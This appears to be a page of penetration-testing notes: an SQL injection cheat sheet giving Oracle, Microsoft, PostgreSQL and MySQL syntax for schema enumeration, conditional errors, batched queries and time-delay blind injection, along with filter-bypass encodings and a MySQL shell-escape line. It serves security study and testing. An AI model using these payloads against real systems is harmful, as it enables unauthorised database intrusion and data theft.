SQL
Last updated
Last updated
Hack Responsibly.
Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.
Blind SQL injection UNIoN queries: Ippsec:HacktheBox - Charon use CONCAT("x","x")
--
-> Comments in Linux
--+
-> Comments in Windows
%23 (#)
-> Hash Symbol
%2527 (')
-> to bypass urldecode(urldecode(htmlspecialchars(, ENT_QUOTES)));
You can concatenate together multiple strings to make a single string.
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba
.
You can use comments to truncate a query and remove the portion of the original query that follows your input.
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
You can list the tables that exist in the database, and the columns that those tables contain.
You can test a single boolean condition and trigger a database error if the condition is true.
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Note: With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
You can test a single boolean condition and trigger a time delay if the condition is true.
Table
Columns (as command)
Values (payload depends on the columns structure)
Table
Columns
Values
Using Newline
Bypass preg_replace
get shell in mysql: \! /bin/sh
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Oracle
'foo'||'bar'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'||'bar'
MySQL
'foo' 'bar'
[Note the space between the two strings]
CONCAT('foo','bar')
Oracle
SUBSTR('foobar', 4, 2)
Microsoft
SUBSTRING('foobar', 4, 2)
PostgreSQL
SUBSTRING('foobar', 4, 2)
MySQL
SUBSTRING('foobar', 4, 2)
Oracle
--comment
Microsoft
--comment
/*comment*/
PostgreSQL
--comment
/*comment*/
MySQL
#comment
-- comment
[Note the space after the double dash]
/*comment*/
Oracle
SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version
Oracle
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Oracle
Does not support batched queries.
Microsoft
QUERY-1-HERE; QUERY-2-HERE
PostgreSQL
QUERY-1-HERE; QUERY-2-HERE
MySQL
QUERY-1-HERE; QUERY-2-HERE
Oracle
dbms_pipe.receive_message(('a'),10)
Microsoft
WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT sleep(10)
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL
SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')